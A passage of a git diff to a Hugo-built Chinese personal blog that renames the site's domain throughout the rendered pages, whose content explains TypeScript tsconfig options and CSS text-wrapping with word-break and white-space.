 </code></pre><p>指定多个目录作为根目录（创建一个虚拟目录），rootDirs，允许编译器在这些目录中解析相对于的模块导入，例如：</p><pre><code>'rootDirs': ['src','build']
 </code></pre><p>这个将表示src目录和build目录属于同一个虚拟目录，如果build目录存在依赖，但是ts源码文件在src目录下，需要使用build目录的依赖时，可以使用这个，不需要编译后再修改依赖路径</p><p>指定类型文件的根目录，typeRoots，默认node_modules/@types下的包都是可见的，如果指定了typeRoots将表示从该目录里查找类型文件</p><p>指定全局范围的包，types，默认情况下typeRoots的包都会被包含到编译过程中，除非指定types，只有列出的包才能被包含在全局范围中，例如：</p><pre><code>&quot;types&quot;: ['node','jest','express']
-</code></pre><p>如果想在编译阶段打印输出的文件，可开启listEmittedFiles属性</p><p>如果想在编译阶段打印进行编译的文件（其中包括引用的声明文件），可开启listFiles属性</p><p>allowSyntheticDefaultImports表示是否允许默认导出，当为true时表示一个模块没有默认导出，也认为其他模块也能像默认导出一样导入使用该模块</p><p>esModuleInterop表示是否开启ES模块的互操作，可以使用ES模块的方式导入Commonjs包，当模块没有类型时，可直接require()方式引用，如果具备类型声明，那么需要使用import的方式导入，开启该选项，会默认开启allowSyntheticDefaultImports</p><p>开启esModuleInterop属性，将允许export = xxx的形式导出，并且使用import = xxx 的方式导入</p><p>sourceRoot表示指定调试器需要定位的ts文件位置，而不是相对于源文件的路径</p><p>mapRoot表示指定调试器需要定位的sourcemap文件的位置，而不是生成的文件位置</p><p>inlineSourceMap是否开启将sourcemap文件内容生成内联字符串的方式写入到对于的js文件中，而不是生成.js.map文件</p><p>inlineSources，是否开启将源文件的所有内容生成内联字符并且写入到sourcemap文件中，和inlineSourceMap功能类似</p><p>experimentalDecorators，是否开启装饰器的特性</p><p>emitDecoratorMetadata，是否允许装饰器使用反射数据的特性</p><p>skipLibCheck，表示是否可以跳过检查声明文件，开启可以省去不少编译时间，但是会牺牲类型系统的准确性</p><p>因为ts是大小写敏感的，为了避免开发者在不同大小写敏感规则下的操作系统下开发而导致的问题，可以开启forceConsistentCasingInFileNames，开启该选项表示当开发者正在使用和系统不一致的大小写入规则时，会抛出错误</p><p>files表示指定ts项目需要包含的文件列表</p><p>include表示指定需要包含在ts项目的文件或者文件匹配路径，如果配置了files，那么默认值为[]，如果没有设置默认值为[&rsquo;**/*&rsquo;]，就是包含目录下的所有文件</p><p>exclude表示指定解析include配置中需要跳过的文件或者文件匹配路径，例如node_modules</p><p>extends配置指为字符串，表示声明当前配置需要继承另一个配置的路径，ts会向加载extends的配置文件，在使用当前的tsconfig.json文件的配置来覆盖继承文件里的配置</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/typescript/>TypeScript</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/61/><span class=title>« Prev</span><br><span>JavaScript知识扩展</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/56/><span class=title>Next »</span><br><span>简单了解MVC，MVP和MVVM之间的不同与联系</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+</code></pre><p>如果想在编译阶段打印输出的文件，可开启listEmittedFiles属性</p><p>如果想在编译阶段打印进行编译的文件（其中包括引用的声明文件），可开启listFiles属性</p><p>allowSyntheticDefaultImports表示是否允许默认导出，当为true时表示一个模块没有默认导出，也认为其他模块也能像默认导出一样导入使用该模块</p><p>esModuleInterop表示是否开启ES模块的互操作，可以使用ES模块的方式导入Commonjs包，当模块没有类型时，可直接require()方式引用，如果具备类型声明，那么需要使用import的方式导入，开启该选项，会默认开启allowSyntheticDefaultImports</p><p>开启esModuleInterop属性，将允许export = xxx的形式导出，并且使用import = xxx 的方式导入</p><p>sourceRoot表示指定调试器需要定位的ts文件位置，而不是相对于源文件的路径</p><p>mapRoot表示指定调试器需要定位的sourcemap文件的位置，而不是生成的文件位置</p><p>inlineSourceMap是否开启将sourcemap文件内容生成内联字符串的方式写入到对于的js文件中，而不是生成.js.map文件</p><p>inlineSources，是否开启将源文件的所有内容生成内联字符并且写入到sourcemap文件中，和inlineSourceMap功能类似</p><p>experimentalDecorators，是否开启装饰器的特性</p><p>emitDecoratorMetadata，是否允许装饰器使用反射数据的特性</p><p>skipLibCheck，表示是否可以跳过检查声明文件，开启可以省去不少编译时间，但是会牺牲类型系统的准确性</p><p>因为ts是大小写敏感的，为了避免开发者在不同大小写敏感规则下的操作系统下开发而导致的问题，可以开启forceConsistentCasingInFileNames，开启该选项表示当开发者正在使用和系统不一致的大小写入规则时，会抛出错误</p><p>files表示指定ts项目需要包含的文件列表</p><p>include表示指定需要包含在ts项目的文件或者文件匹配路径，如果配置了files，那么默认值为[]，如果没有设置默认值为[&rsquo;**/*&rsquo;]，就是包含目录下的所有文件</p><p>exclude表示指定解析include配置中需要跳过的文件或者文件匹配路径，例如node_modules</p><p>extends配置指为字符串，表示声明当前配置需要继承另一个配置的路径，ts会向加载extends的配置文件，在使用当前的tsconfig.json文件的配置来覆盖继承文件里的配置</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/typescript/>TypeScript</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/61/><span class=title>« Prev</span><br><span>JavaScript知识扩展</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/56/><span class=title>Next »</span><br><span>简单了解MVC，MVP和MVVM之间的不同与联系</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/6/index.html b/posts/6/index.html
index 77b146f9..cb3d9d40 100644
--- a/posts/6/index.html
+++ b/posts/6/index.html
@@ -9,8 +9,8 @@
 pre：保留空格，换行保留，不自动换行
 pre-wrap：保留完整空格，保留换行符，自动换行
 pre-line：保留空格（可能不完整），保留换行
-一个提供换行规则，另一个保证换行的样式还存在（例如换行符，空格等等），而且还提供自动换行功能"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/6/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单解决文本溢出问题"><meta property="og:description" content="当文本宽度超过容器的宽度那么将导致溢出
+一个提供换行规则，另一个保证换行的样式还存在（例如换行符，空格等等），而且还提供自动换行功能"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/6/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单解决文本溢出问题"><meta property="og:description" content="当文本宽度超过容器的宽度那么将导致溢出
 使用text-overflow属性会修剪文本导致文本显示不全
 这里使用的方法是word-break: break-all+white-space: pre-wrap
 word-break: break-all
@@ -21,7 +21,7 @@
 pre：保留空格，换行保留，不自动换行
 pre-wrap：保留完整空格，保留换行符，自动换行
 pre-line：保留空格（可能不完整），保留换行
-一个提供换行规则，另一个保证换行的样式还存在（例如换行符，空格等等），而且还提供自动换行功能"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/6/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-16T08:40:00+00:00"><meta property="article:modified_time" content="2021-06-16T08:40:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单解决文本溢出问题"><meta name=twitter:description content="当文本宽度超过容器的宽度那么将导致溢出
+一个提供换行规则，另一个保证换行的样式还存在（例如换行符，空格等等），而且还提供自动换行功能"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/6/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-16T08:40:00+00:00"><meta property="article:modified_time" content="2021-06-16T08:40:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单解决文本溢出问题"><meta name=twitter:description content="当文本宽度超过容器的宽度那么将导致溢出
 使用text-overflow属性会修剪文本导致文本显示不全
 这里使用的方法是word-break: break-all+white-space: pre-wrap
 word-break: break-all
@@ -32,8 +32,8 @@
 pre：保留空格，换行保留，不自动换行
 pre-wrap：保留完整空格，保留换行符，自动换行
 pre-line：保留空格（可能不完整），保留换行
-一个提供换行规则，另一个保证换行的样式还存在（例如换行符，空格等等），而且还提供自动换行功能"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单解决文本溢出问题","item":"https://xiaochenabc123.github.io/posts/6/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单解决文本溢出问题","name":"简单解决文本溢出问题","description":"当文本宽度超过容器的宽度那么将导致溢出\n使用text-overflow属性会修剪文本导致文本显示不全\n这里使用的方法是word-break: break-all+white-space: pre-wrap\nword-break: break-all\n允许在单词内换行（还有个keep-all属性，用来只能在半角空格和连字符处换行，默认值为normal）\nwhite-space: pre-wrap\nnormal：默认，空白被忽略\nnowrap：文本不换行，文本在同一行继续\npre：保留空格，换行保留，不自动换行\npre-wrap：保留完整空格，保留换行符，自动换行\npre-line：保留空格（可能不完整），保留换行\n一个提供换行规则，另一个保证换行的样式还存在（例如换行符，空格等等），而且还提供自动换行功能","keywords":["css"],"articleBody":"当文本宽度超过容器的宽度那么将导致溢出\n使用text-overflow属性会修剪文本导致文本显示不全\n这里使用的方法是word-break: break-all+white-space: pre-wrap\nword-break: break-all\n允许在单词内换行（还有个keep-all属性，用来只能在半角空格和连字符处换行，默认值为normal）\nwhite-space: pre-wrap\nnormal：默认，空白被忽略\nnowrap：文本不换行，文本在同一行继续\npre：保留空格，换行保留，不自动换行\npre-wrap：保留完整空格，保留换行符，自动换行\npre-line：保留空格（可能不完整），保留换行\n一个提供换行规则，另一个保证换行的样式还存在（例如换行符，空格等等），而且还提供自动换行功能\n","wordCount":"16","inLanguage":"en","datePublished":"2021-06-16T08:40:00Z","dateModified":"2021-06-16T08:40:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/6/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>简单解决文本溢出问题</h1><div class=post-meta><span title='2021-06-16 08:40:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/%e7%ae%80%e5%8d%95%e8%a7%a3%e5%86%b3%e6%96%87%e6%9c%ac%e6%ba%a2%e5%87%ba%e9%97%ae%e9%a2%98.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>当文本宽度超过容器的宽度那么将导致溢出</p><p>使用text-overflow属性会修剪文本导致文本显示不全</p><p>这里使用的方法是word-break: break-all+white-space: pre-wrap</p><p>word-break: break-all</p><p>允许在单词内换行（还有个keep-all属性，用来只能在半角空格和连字符处换行，默认值为normal）</p><p>white-space: pre-wrap</p><p>normal：默认，空白被忽略</p><p>nowrap：文本不换行，文本在同一行继续</p><p>pre：保留空格，换行保留，不自动换行</p><p>pre-wrap：保留完整空格，保留换行符，自动换行</p><p>pre-line：保留空格（可能不完整），保留换行</p><p>一个提供换行规则，另一个保证换行的样式还存在（例如换行符，空格等等），而且还提供自动换行功能</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/css/>css</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/8/><span class=title>« Prev</span><br><span>linux系统的日常使用</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/5/><span class=title>Next »</span><br><span>IndexedDB浏览器数据库学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+一个提供换行规则，另一个保证换行的样式还存在（例如换行符，空格等等），而且还提供自动换行功能"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单解决文本溢出问题","item":"https://chenjunlinabc.github.io/posts/6/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单解决文本溢出问题","name":"简单解决文本溢出问题","description":"当文本宽度超过容器的宽度那么将导致溢出\n使用text-overflow属性会修剪文本导致文本显示不全\n这里使用的方法是word-break: break-all+white-space: pre-wrap\nword-break: break-all\n允许在单词内换行（还有个keep-all属性，用来只能在半角空格和连字符处换行，默认值为normal）\nwhite-space: pre-wrap\nnormal：默认，空白被忽略\nnowrap：文本不换行，文本在同一行继续\npre：保留空格，换行保留，不自动换行\npre-wrap：保留完整空格，保留换行符，自动换行\npre-line：保留空格（可能不完整），保留换行\n一个提供换行规则，另一个保证换行的样式还存在（例如换行符，空格等等），而且还提供自动换行功能","keywords":["css"],"articleBody":"当文本宽度超过容器的宽度那么将导致溢出\n使用text-overflow属性会修剪文本导致文本显示不全\n这里使用的方法是word-break: break-all+white-space: pre-wrap\nword-break: break-all\n允许在单词内换行（还有个keep-all属性，用来只能在半角空格和连字符处换行，默认值为normal）\nwhite-space: pre-wrap\nnormal：默认，空白被忽略\nnowrap：文本不换行，文本在同一行继续\npre：保留空格，换行保留，不自动换行\npre-wrap：保留完整空格，保留换行符，自动换行\npre-line：保留空格（可能不完整），保留换行\n一个提供换行规则，另一个保证换行的样式还存在（例如换行符，空格等等），而且还提供自动换行功能\n","wordCount":"16","inLanguage":"en","datePublished":"2021-06-16T08:40:00Z","dateModified":"2021-06-16T08:40:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/6/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>简单解决文本溢出问题</h1><div class=post-meta><span title='2021-06-16 08:40:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/%e7%ae%80%e5%8d%95%e8%a7%a3%e5%86%b3%e6%96%87%e6%9c%ac%e6%ba%a2%e5%87%ba%e9%97%ae%e9%a2%98.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>当文本宽度超过容器的宽度那么将导致溢出</p><p>使用text-overflow属性会修剪文本导致文本显示不全</p><p>这里使用的方法是word-break: break-all+white-space: pre-wrap</p><p>word-break: break-all</p><p>允许在单词内换行（还有个keep-all属性，用来只能在半角空格和连字符处换行，默认值为normal）</p><p>white-space: pre-wrap</p><p>normal：默认，空白被忽略</p><p>nowrap：文本不换行，文本在同一行继续</p><p>pre：保留空格，换行保留，不自动换行</p><p>pre-wrap：保留完整空格，保留换行符，自动换行</p><p>pre-line：保留空格（可能不完整），保留换行</p><p>一个提供换行规则，另一个保证换行的样式还存在（例如换行符，空格等等），而且还提供自动换行功能</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/css/>css</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/8/><span class=title>« Prev</span><br><span>linux系统的日常使用</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/5/><span class=title>Next »</span><br><span>IndexedDB浏览器数据库学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/61/index.html b/posts/61/index.html
index 6a725c6e..55cd38f9 100644
--- a/posts/61/index.html
+++ b/posts/61/index.html
@@ -2,17 +2,17 @@
 this就是函数的上下文对象，而arguments是一个数组对象（也就是可以通过索引来操作数据），函数调用时传递的参数会在arguments中保存
